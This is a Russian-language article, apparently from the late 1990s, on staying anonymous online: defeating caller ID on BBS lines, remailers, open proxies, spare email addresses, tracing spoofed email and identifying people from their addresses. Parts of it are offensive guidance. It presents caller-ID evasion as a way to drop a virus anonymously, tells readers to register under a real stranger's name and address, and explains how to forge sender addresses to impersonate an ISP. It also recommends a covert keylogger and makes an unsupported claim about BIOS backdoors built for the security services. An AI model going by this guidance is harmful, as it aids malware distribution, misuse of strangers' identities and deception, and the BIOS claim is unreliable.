Прежде чем получать адрес и звонить на BBS, нужно убедиться (например, путем звонка с сотового телефона, с телефона-двойника типа Panasonic, с таксофона или с телефона, который гарантированно не определяется системой АОН), что на данном узле отсутствует система АОН. Если в списке BBS (или в рекламе) указан тип модема Russian Courier, Zyxell или IDC, с вероятностью 99% на этих станциях используются АОН. АОН выдает себя характерным щелчком и звуковым сигналом, как правило, после первого гудка (он снимает трубку, а далее идут гудки, выдаваемые самим АОН, как правило, отличающиеся от первого гудка по тональности). Если АОН есть, но все же нужно остаться анонимным (например, хотите провести акцию информационной войны, сбросить новый вирус и тому подобное), можно воспользоваться АнтиАОНом. Эти функции присутствуют практически во всех телефонных аппаратах с АОН (например, в РУСЬ или в Phone Master). Также можно купить приставку-АнтиАОН, которая еще не раз пригодиться (в Москве, например, они продаются на радиорынке в Митино). Функцию АнтиАОН лучше включать почти сразу после набора номера и удерживать ее некоторое время. Если АОН не может определить номер, то после снятия трубки АОН-ом слышится характерные тональные сигналы (порядка 9 штук).
Никогда не стоит регистрироваться под настоящим именем, ведь неизвестно, к кому может попасть эта информация и для чего она будет использована. Можно взять любую телефонную базу, например, КОТИК или ее Online версию (http://www.xland.ru:8088/tel_win/owa/tel.form), и ввести любую выдуманную фамилию. Тривиальные фамилии, вроде Иванов, Петров, Смирнов, Андреев, Алексеев и так далее, корректнее не использовать, лучше что-то не совсем обычное (ну первое, что приходить в голову: Левашов, Дубинин, Авдотин, Садовский). Далее записываем инициалы, адрес и телефон любого человека из выведенного списка. При регистрации на BBS обычно требуется сообщить такие сведения:
Системные операторы BBS, как правило, очень ленивы, и максимум, на что их хватит, так это проверить данные по той же самой базе.
Обязательно нужно все это куда-нибудь записать, можно в файл (и хранить его в надежном месте, например, на диске, созданном программой BestCrypt). Рекомендуется использовать абсолютно разные данные при работе с разными BBS! В FTN-сетях следует регистрироваться, применяя подобные методы.
Рассмотрим еще один аспект privacy. Это "нехорошие" функции многих программ: вести логические протоколы работы и так далее.
Некоторые программы обладают на редкость большим количеством всевозможных "черных ходов", "люков", "багов" и так далее. Вот лишь некоторые примеры:
Удалить из базы все удаленные сообщения можно также с помощью опции "Сжать папки".
Большинство FTP-клиентов сохраняют в специальной директории все места в Интернет, которые посещались пользователем (а иногда сохраняют и нешифрованные имена и пароли). В целях безопасности целесообразно периодически (скажем, раз в неделю) стирать содержимое кэша. Например, в Bullet Proof FTP (одной из лучших программ, получить которую можно на сервере http://www.bpftp.com), он располагается в директории Cache. Лучше производить невосстановимое удаление, например, с помощью программы Kremlin 2.1.
Вот еще один наглядный пример лазеек для спецслужб. Почти любой компьютер имеет возможность установить пароль на вход. Но мало кто знает, что специально для спецслужб (разработчиками BIOS) были созданы универсальные пароли, открывающие вход в любой компьютер. Вот примеры:
Естественно, что вводить пароль нужно в соответствии с регистром букв.
В последнее время все чаще стали появляться программы, которые проверяют через Интернет, зарегистрирована ли данная копия программы. Вернее, когда пользователь работает в Интернет, они незаметно это проверяют, а потом радуют сообщением о том что используемая копия нелегальна. Наглядный тому пример - Bullet Proof FTP. Но это еще не все. Существует мнение, что такие программы, как, например, операционная система Windows, способны как бы следить за всем, что происходит в компьютере (либо сами, либо по команде из Интернет), и отправлять все собранные данные своим разработчикам. Не так давно разразился скандал, когда выяснилось, что один известный FTP-клиент отправлял все вводимые имена и пароли своим разработчикам. Так что будьте бдительны!
Клавиатурные шпионы - это программы, запоминающие, какие клавиши были нажаты в ваше отсутствие, то есть - что творилось на вашем компьютере, пока вас не было в офисе. Для этого все, что набирается на клавиатуре, заносится специальной программой в текстовый файл. Так что набранный на компьютере в бизнес-центре или интернет-кафе текст может без особых проблем стать достоянием владельца такого компьютера. Технически эта операция выполняется классом программ, называемых keyboard loggers. Они разработаны для разных операционных систем, могут автоматически загружаться при включении компьютера и маскируются под резидентные антивирусы или еще что-нибудь полезное.
Самая лучшая из опробованных программ, Hook Dump 2.5 (http://www.geocities.com/SiliconValley/Vista/6001/hookdump.zip или http://www.halyava.ru/ilya/, для Win 3.1 и Win 95) может автоматически загружаться при включении компьютера, при этом никак не проявляя своего присутствия. Набранный на клавиатуре текст, названия программ, в которых набирался текст, и даже скрытый пароль в Dial-Up Networking, который вообще не набирался - все записывается в файл, расположенный в любой директории и под любым именем. Программа имеет много настроек, позволяющих определять нужную конфигурацию.
Нужно помнить, что за счет побочных электромагнитных излучений и наводок (ПЭМИН) можно считывать информацию с монитора компьютера (разумеется, с помощью специальных технических средств) на расстоянии до 200 метров, а то и больше. Также можно считывать информацию с процессора, клавиатуры, винчестера, дисковода (когда они работают, естественно). Поэтому все криптосистемы становятся почти бессмысленными, если не принять соответствующих мер защиты. Для защиты от ПЭМИН рекомендуется применять генераторы белого шума (в диапазоне от 1 до 1000 МГц) типа ГБШ-1 или Салют. Их (а также другие интересные вещи) можно приобрести в фирмах, торгующих спецтехникой. А можно заняться творчеством и сделать их самостоятельно, используя схемы из популярной книги "Шпионские штучки" (в Москве ее можно приобрести, например, в СК "Олимпийский" или на радиорынке в Митино).
Пейджер стал для многих незаменимым средством оперативного общения. Но мало кто знает, что технология пейджинга позволяет организовать прослушивание (мониторинг) пейджинговых сообщений с помощь несложной аппаратуры (сканер+компьютер+соответствующее программное обеспечение). Поэтому пейджинговые компании контролируются не только ФСБ, ФАПСИ и прочими силовыми подразделениями, но и всеми, кому не лень, в том числе криминальными структурами и новоявленными Джеймс Бондами в лице отечественных фирм, занимающихся так называемой защитой информации.
Иногда у пользователя возникает ситуация, когда хотелось бы выявить реального автора полученного сообщения. Например, получено сообщение от вашей жены, в котором она пишет, что уходит к другому. Вы можете либо вздохнуть с облегчением, выпить на радостях рюмку-другую и отправиться с друзьями на дачу праздновать это событие, либо попытаться выяснить, не является ли это чьей-то шуткой.
Ваши друзья могли легко изменить поле From в отправленном сообщении, поставив туда вместо своего обратного адреса хорошо известный вам адрес вашей жены, например masha@flash.net. Как это делается, можно прочесть в разделе "Отправление e-mail". Так что стоящая перед нами задача сводится к следующему: определить, соответствует ли указанный адрес отправителя адресу, с которого в действительности было отправлено сообщение.
Итак, каждое электронное сообщение содержит заголовок (header), который содержит служебную информацию о дате отправления сообщения, названии почтовой программы, IP-адресе машины, с которой было отправлено сообщение, и так далее. Большинство почтовых программ по умолчанию не отражают эту информацию, но ее всегда можно увидеть, открыв с помощью любого текстового редактора файл, содержащий входящую почту, или используя функцию почтовой программы, позволяющую просматривать служебные заголовки (как правило, она называется Show all headers). Что же видим?
Received: by geocities.com (8.8.5/8.8.5) with ESMTP id JAA16952 for ; Tue, 18 Nov 1997 09:37:40 -0800 (PST) Received: from masha.flash.net (really [209.30.69.99]) by endeavor.flash.net (8.8.7/8.8.5) with SMTP-id LAA20454 for ; Tue, 18 Nov 1997 11:37:38 -0600 (CST) Message-ID: <3471 D27E.69A9@flash.net> Date: Tue, 18 Nov 1997 11:38:07 -0600 From: masha@flash.net X-Mailer: Mozilla 3.02 (Win95; U) MIME-Version: 1.0 To: petya@geocities.com Subject: I don't love you any more, you *&;$%# !!!!
Да, много всякого. Не вдаваясь в технические подробности, в общих чертах: заголовки Received сообщают путь, который прошло сообщение в процессе пересылки по сети. Имена машин (geocities.com, endeavor.flash.net) указывают на то, что сообщение, скорее всего, пришло к вам в geocities.com из домена вашей жены flash.net. Если имена машин не имеют ничего общего с flash.net (например, mailrelay.tiac.net), это повод задуматься о подлинности сообщения. Но самая главная строка для нас - последняя из строк, начинающихся со слова Received:
Received: from masha.flash.net (really [209.30.69.99])
Она отражает имя машины (masha.flash.net) и уникальный IP-адрес, с которого было отправлено сообщение. Указанный домен (flash.net) соответствует адресу вашей жены. Впрочем, ваши друзья могли подделать и строку masha.flash.net (в Windows 95 это делается через Control Panel=>Network=>TCP/IP Properties=>DNS Configuration, указав masha и flash.net в полях Host и Domain соответственно), поэтому важно определить имя, соответствующее данному IP-адресу: 209.30.69.99.
Для определения имени, соответствующего цифровому адресу, можно воспользоваться одной из доступных программ, например WS-Ping32 (http://www.glasnet.ru/glasweb/rus/wsping32.zip), а лучше CyberKit (http://www.chip.de/Software/cyber.zip). Набрав цифровой адрес, даем команду NS LookUp (Name Server Lookup) и смотрим на полученный результат. Когда имя определено, дальше все просто: если получено что-либо похожее на рррЗОЗ-flash.net или p28-dialup.flash.net, то сообщение отправлено вашей женой (или кем-то, имеющим почтовый адрес во Flashnet, но выяснить это подробнее уже нельзя). Если указано нечто весьма далекое от flash.net - скорее всего, отправляла сообщение не ваша жена. Иногда адрес не определяется. В этом случае можно воспользоваться функцией TraceRoute той же программы. Эта функция поможет проследить путь от вашей машины до указанного IP-адреса. Если этот адрес (он будет последним в списке узлов, через которые сигнал прошел от вашего компьютера до компьютера с указанным IP-адресом) снова не определяется, то последний из определенных по имени узлов все-таки укажет на примерное географическое положение компьютера отправителя. Еще более простым и изящным способом определения страны и даже названия провайдера или сети является использования вот этого адреса:
http://www.tamos.com/bin/dns.cgi
Итак, в результате получилось что-то вроде Brasilian Global Network. Ваша жена не бывала последнее время в Бразилии? Нет? Ну, тогда она от вас и не уходила. Вас разыграли. Будьте бдительны!
Даже вполне добропорядочные граждане иногда хотят сохранить в тайне свою личность при высказывании своего мнения, скажем, автору сайта, пропагандирующего фашизм, или президенту Лукашенко. Вопросы приобретения второго (анонимного) электронного адреса вынесены в отдельный подраздел "Второй адрес".
Remailer (Ремейлер) - это компьютер, получающий сообщение и отправляющий его по адресу, указанному отправителем. В процессе переадресации все заголовки (headers), содержащие информацию об отправителе, уничтожаются, так что конечный получатель лишен всякой возможности выяснить, кто является автором сообщения. Таких программ в сети много, некоторые из них позволяют указывать фиктивный адрес отправителя, большинство же прямо указывают в заголовке, что сообщение анонимно. Чтобы узнать, как пользоваться ремейлером, нужно отправить сообщение по адресу remailer@replay.com, указав в поле Subject remailer-help. Через некоторое время придет ответ с подробными инструкциями об отправке анонимных сообщений. Еще более простой способ - это отправиться по адресу
http://www.replay.com/remailer/
Там расположен ремейлер, позволяющий посылать сообщения прямо из WWW. На этом же сайте также можно воспользоваться цепочкой из ремейлеров, так что отправленное сообщение пройдет через несколько компьютеров, каждый из которых старательно уничтожит все заголовки предыдущего. Но делать это, скорее всего, нецелесообразно. Во-первых, одного ремейлера вполне достаточно (если, конечно, отправитель не секретный агент), во-вторых, сообщение может затеряться и не дойти до получателя, в-третьих, оно может идти очень долго. Вот пример полученного сообщения:
Date: Mon, 31 Mar 1997 12:33:23 +0200 (MET DST) Subject: The rest is silence: To: petya@glasnet.ru From: nobody@REPLAY.COM (Anonymous) Organization: Replay and Company Unlimited X-URL: http://www.replay.com/remailer/ X-001: Replay may or may not approve of the content of this posting X-002: Report misuse of this automated service to abuse@replay.com
Теоретически определить реального отправителя сообщения с использованием ремейлера можно, но практически это сделать очень сложно. На это способны лишь люди из ФСБ, ФАПСИ, ЦРУ и им подобных организаций. Но и они должны будут предварительно запастись решением суда, чтобы ремейлер открыл им требуемую информацию. А если использовалась цепочка ремейлеров, то придется обойти всю цепочку. Но если отправитель к тому же пользовался анонимным proxy-сервером и (или) анонимайзером, то шанс найти его становиться еще меньше (не забудьте отключить использование файлов Cookies).
Итак, первое апреля. Вы умираете от желания сообщить своему другу от имени его провайдера о том, что его счет закрыт за неуплату (сообщение должно быть с обратным адресом его провайдера). Описанные ниже способы хороши для розыгрышей, но мало пригодны, если действительно нужно остаться анонимным. Варианты таковы:
Использование обычной почтовой программы. Самый простой вариант:
поставить в своей почтовой программе в поле Return Address любой адрес, и если получатель письма не станет изучать его заголовок, он останется в уверенности, что получил сообщение именно от того, чей адрес указан в поле From. Очень просто и очень ненадежно.
Использование специальной программы - анонимизатора. Таких программ несколько, примером может служить AnonyMail (ftp://ftp.tordata.se/www/hokum/amaill0.zip). Заполняются поля From, То, Subject (тут все ясно), и поле Host, в котором указывается имя хоста, через который будет отправлена почта. Поскольку протокол отправки сообщений SMTP не требует в подавляющем большинстве случаев какой-либо авторизации отправителя, смело можно указать практически любое имя, желательно такое же, как у предполагаемого получателя этого сообщения. Для не очень опытного пользователя определение подлинности сообщения будет значительно затруднено. Например, если отправляется письмо по адресу kiska@frontier.net, в поле Host нужно указать адрес frontier.net. Для проверки можно отправить сообщение самому себе. Недостатки: IP-адрес вашей машины все-таки будет отражен в заголовке. Кроме того, поле То в полученном сообщении превратится, скорее всего, в Apparently-To. Правда, мало кто обратит на это внимание. Эти способы вполне корректно работают и с русскими кодировками. Поскольку de facto стандартом для пересылки сообщений между разными компьютерами является KOI8-R, при рассылке сообщений рекомендуется использовать именно эту кодировку - отправленное сообщение, скорее всего, будет правильно перекодировано почтовым компьютером получателя.
Проблема защиты частной жизни в сети ставит перед пользователями вопрос об обладании вторым (третьим... десятым) электронным адресом. Его хорошо иметь там, где почту не будут читать, и в том домене, географическая принадлежность которого "нейтральна". В общем, все те же требования, что и ко второму паспорту и гражданству. Наличие такого адреса защищает от попыток выяснить личность пользователя, дает возможность предоставлять разные адреса разным корреспондентам в зависимости от их статуса, избавляет от необходимости извещать всех корреспондентов о новом адресе, если пользователь сменил провайдера или переехал в другую страну. Существует довольно много служб, позволяющих бесплатно получить второй электронный адрес. По способу отправки и получения почты эти службы можно разделить на три основных типа.
Тип 1. Пример: http://www.europe.com. Службы этого типа дают пользователю возможность перенаправлять полученную на новый адрес корреспонденцию по указанному пользователем адресу. Таким образом, в наличии уже должен быть какой-либо адрес почты, поскольку используя протокол РОРЗ почту забрать нельзя. Отправление почты осуществляется напрямую через хост этой службы (протокол SMTP). Существует, правда, 60-дневный период, в течение которого можно пользоваться и обычным почтовым ящиком (РОРЗ), после истечения периода - за деньги. Пользователь самостоятельно выбирает userid, а также домен из нескольких (бесплатно) или многих (платно) предложенных имен, например: iname.com, writeine.com, girls.com, boys.com. Выполнив несложные инструкции, можно стать обладателем нового адреса, скажем ohhhhhhh@girls.com. В процессе заполнения анкеты нужно указать свою страну (например, Албания), имя (тут вариантов мало, все пишут Иван Петров или Петр Иванов) и адрес, на который должна пересылаться вся приходящая корреспонденция. Этот адрес впоследствии можно легко изменить. Вот и все! Недостаток: настоящий адрес пользователя известен сотрудникам службы.
Тип 2. Службы этого типа дают пользователю возможность как отправлять почту напрямую, так и получать ее (РОРЗ и SMTP), так что первичный адрес либо совсем не нужен, либо потребуется всего лишь раз, при открытии счета. Для этих целей можно использовать адрес приятеля или адрес в Hotmail (см. ниже). Пример: http://www.geocities.com или http://www.netaddress.com (возможности последней даже шире, она позволяет помимо РОРЗ и SMTP читать и отправлять почту из окна браузера, поэтому службу можно отнести и к типу 3). Технология открытия счета примерно такая же. Преимущество: настоящий первичный адрес неизвестен, единственный "след", который остается, это IP-адрес, с которого происходит чтение и отправление почты. Службы также дают возможность перенаправлять почту на первичный адрес, если есть такое желание. Кроме того, практически почту пользователя смогут прочесть только администраторы службы, а не московский провайдер или ФАПСИ с ФСБ, хотя теоретически и это возможно.
Тип 3. Принципиально другой тип службы. Чтение и отправление почты происходят без использования почтовой программы, прямо в окне браузера. Пример: http://www.hotmail.com. Переадресация на первичный адрес невозможна. Преимущества: можно читать почту с любого компьютера с доступом в WWW, будь то другая страна или Интернет-кафе в Южном Бутово, плюс опять же сложности отслеживания почты. Недостаток: не очень удобно пересылать файлы - в каждом письме можно отправить только один файл и только с использованием Netscape Navigator 2.0 и выше или Internet Explorer 4.0 и выше. Совсем не сложно, зато как удобно! Стоит также отметить сайт http://www.mailcity.com, который позволяет создавать неограниченное количество копий и слепых копий адресов. Эта программа на основе Web - воплощенная мечта для тех, кто занимается массовой рассылкой писем. И в заключении еще одно важное соображение касательно privacy. При отправлении почты через любую из этих служб, заголовок сообщения содержит IP адрес, с которого отправлено сообщение. Даже Hotmail это делает. Но, если при отправке сообщения с использованием почтовых служб первых двух типов скрыть свой реальный IP адрес нельзя (это связано с самим принципом работы протокола SMTP), то при использовании почтовой службы третьего типа, то есть при отправлении почты из окна браузера, лазейка все же есть. Это говорит о том, что почтовый адрес третьего типа можно сделать практически полностью анонимным, достаточно лишь воспользоваться одним из способов анонимизации своих путешествий по сети. Как это сделать написано в разделе "На FTP-сервер под чужим IP-адресом".
Да, действительно, а зачем устанавливать личность по известному адресу электронной почты?
А зачем устанавливают автоматический определитель номера (АОН)? А зачем существует база данных, в которой по телефону можно определить имя и адрес человека? Причин много, начиная от чистого развлечения (кто не хочет поиграть в Пинкертона?), и заканчивая желанием выяснить, кто это с адресом someone@oxford.edu поздравляет вас каждый год с днем рождения и признается в любви. Кроме того, поняв методики поиска информации, становится ясно, насколько уязвима анонимность такого отправителя в сети. Заметим сразу, что способы выяснения личности по известному адресу e-mail весьма разнообразны, причем ни один из них не гарантирует успеха. Обратная задача решается довольно тривиально: множество E-mail directories (Fourll, WhoWhere) позволяют найти по имени человека его адрес (если, конечно, он сам того захотел). Рассмотрим задачу нетривиальную.
Воспользовавшись программой CyberKit (http://www.cHp.de/Software/cyberap) или, например, WSPing32 (http://www.glasnet.ru/glasweb/rus/wsping32.zip) пользователь получает возможность ткнуть пальцем в любой'адрес электронной почты и спросить: "А это кто?". Иногда можно даже получить ответ. Итак, задаем адрес someone@oxfbrd.edu, получаем:
Login name:someone In real life: John McCartney Directory:/usr/someone Shell: /usr/bin/csch Last login Fri Aug18, 1995 on ttyv3 from dialup.oxford.edu No mail No plan
OK, someone@oxfrord.edu принадлежит John McCartney. Дело сделано, хотя очень часто никакого результата не будет, либо появится строка типа "Forwarding service denied" или "Seems like you won't get what you are looking for".
To же самое можно сделать, не забивая компьютер подобными программами (хотя они очень полезны и пригодятся не раз), а посетив Web-интерфейс, позволяющий получить тот же самый результат (http://web.lm.com/sfw.html). Следует заметить, что выполнение Finger с использованием имени хоста (в данном случае oxford.edu) может не принести никакого результата, в то время как использование видоизмененного (альтернативного) имени хоста результат даст. Как узнать альтернативное имя хоста? При помощи CyberKit, функция NS LookUp. Нужно ввести имя www.oxford.edu и посмотреть на полученный результат. Он может содержать альтернативные имена хоста, называемые aliases, например panda.oxford.edu. Попробуйте someone@panda.oxford.edu,- может сработать.
Иногда информация в ответ на Finger-запрос может быть выдана только пользователю из того же домена, к которому принадлежит идентифицируемый адрес. Решение простое: можно найти пользователя из искомого домена в Internet Relay Chat и попросить его сделать Finger-запрос. Программа-клиент для IRC содержит функцию Finger, так что никакое специальное программное обеспечение человеку, к которому вы обратились, не потребуется.
Это сделать очень просто:
Нужно набрать адрес http://www.altavista.digital.com и нажать Find! Есть вероятность найти домашнюю страницу искомого пользователя или упоминание о нем на других страницах. Там вполне может быть имя обладателя адреса, а если повезет, и фото.
Если человек с искомым адресом отправлял в какую-нибудь группу Usenet сообщение, то его можно разыскать по адресу. Для этого можно воспользоваться системой AltaVista (http://www.altavista.digital.com), позволяющей производить поиск во всех недавно отправленных в Usenet сообщениях. В поле поиска нужно набрать искомый адрес (перед адресом необходимо написать from:). После нажатия кнопки Find откроется новое окно с результатами поиска.
Поиск в системе DejaNews (http://www.dej anews.com) проводить предпочтительнее, потому что она предлагает поискать нужный адрес и среди старых сообщений, если среди недавних он не найден. Поиск также можно вести прямо с этой страницы (from: писать не нужно, просто адрес).
В Интернет широко представлены службы, позволяющие разыскать электронный адрес человека по его имени. Между тем эти же службы иногда можно использовать для выполнения обратной задачи. На какой-либо из указанных ниже страниц можно задать лишь домен искомого адреса, без имени.
Если пользователей, адреса которых принадлежат к искомому домену, немного, то система в ответ на запрос выдаст список адресатов. Но, как правило, список содержит не более ста имен и адрес, стоящий перед знаком @, не указывается. Чтобы выяснить адрес целиком, придется следовать по ссылке для каждого имени. Если же людей с таким доменом больше ста, то поиск таким способом теряет смысл. Другими словами, человека из (c)aol.com или (c)netcom.com так не найдешь.
Для многих пользователей Интернет SPAM (бесконечные рекламные предложения и мусор, рассылаемый по почте) стал настоящим бедствием. Основные рекомендации для защиты от SPAM следующие:
Путешествуя по Интернет, пользователи часто не задумываются о том, что оставляют следы своих посещений каждый раз, когда заходят на какой-либо FTP-сайт. Стандартные log-файлы позволяют любопытным владельцам сайтов узнать многое, и, прежде всего, IP-адрес, что равнозначно, например, тому, что определен номер телефона. Существует несколько способов защитить privacy от подобных посягательств.
Анонимно путешествовать по сети можно с помощью proxy-сервера. Proxy сервер работает, по сути, как Анонимайзер, то есть документ с сайта "забирает" он, а не компьютер пользователя. Большинство proxy серверов ограничивают доступ на основании IP-адреса, с которого приходит обращение. Иными словами, если провайдером пользователя является Demos, то proxy сервер Glasnet его к себе попросту не пустит. Но, к счастью, в сети всегда можно найти "добрый" proxy, владельцы которого либо открыто заявляют о его доступности для всех желающих, либо, по той или иной причине, не ограничивают доступ только своим доменом, о чем широкой публике не известно, например:
Для настройки FTP-клиентов proxy-сервер надо установить в passive режим. Проделав эту нехитрую операцию, можно путешествовать по сети, как болгарский или американский пользователь, но... тут есть один очень важный момент. Далеко не все proxy серверы являются полностью анонимными. Некоторые из них позволяют администратору сайта, который пользователь посещаете с использованием proxy, при желании определить IP-адрес, с которого происходит обращение к proxy, то есть реальный IP-адрес пользователя. Поэтому выбранный proxy-сервер нужно проверить на предмет его полной или неполной анонимности. Сделать это можно на сервере http://www.tamos.com/bin/proxy.cgi
Если в ответ получено сообщение "Proxy server is detected!", выбранный proxy имеет "дыру", будет предоставлена информация о реальном IP-адресе пользователя, как, впрочем, и об IP-адресе proxy сервера, с которого пришел запрос. Если же сообщение гласит "Proxy server is not detected" - все в порядке, анонимность обеспечена. Рекомендуется периодически (не реже, чем раз в месяц) проверять proxy, с которыми ведется работа, на предмет анонимности. В заключение еще несколько соображений касательно использования proxy серверов. Работа через далеко расположенный proxy снижает скорость передачи данных и увеличивает время ожидания. Кроме того, если все читатели будут использовать приведенные выше адреса proxy, то очень скоро удовольствие кончится, и доступ к ним будет закрыт (если уже не закрыт). Найти подходящий proxy несложно, например, приведенные адреса найдены всего за пять минут. В поисковой машине (например Alta Vista) указываются ключевые слова, что-нибудь вроде proxy+server+coniiguration+Netscape. В результате появится список страниц, где провайдеры рассказывают своим пользователям, как настроить браузеры для работы с их proxy. Если пробовать все подряд, на пятый или седьмой раз удача улыбнется, и proxy-сервер согласится работать.
[Вернуться к списку] [Комментарии (0)]